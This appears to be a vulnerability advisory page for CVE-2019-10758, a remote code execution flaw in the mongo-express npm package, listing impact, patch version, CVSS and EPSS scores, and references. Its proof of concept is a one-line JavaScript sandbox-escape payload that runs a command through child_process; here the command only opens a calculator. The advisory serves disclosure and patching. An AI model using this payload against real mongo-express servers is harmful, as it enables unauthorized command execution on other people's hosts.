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CVE

GHSA-h47j-hc6x-h3qq

Remote Code Execution Vulnerability in NPM mongo-express
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CVE

GHSA-h47j-hc6x-h3qq

Remote Code Execution Vulnerability in NPM mongo-express

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

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For more information

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Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

Package Versions Affected

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CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.9
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H
C
H
U
9.9
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Related Resources

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References

https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq, https://nvd.nist.gov/vuln/detail/CVE-2019-10758, https://github.com/mongo-express/mongo-express/pull/522, https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494, https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2, https://github.com/mongo-express/mongo-express, https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60, https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215, https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758

Severity

9.9

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
9.9
EPSS Probability
0.94062%
EPSS Percentile
0.99896%
Introduced Version
0,0.17.0,0.29.18
Fix Available
0.54.0

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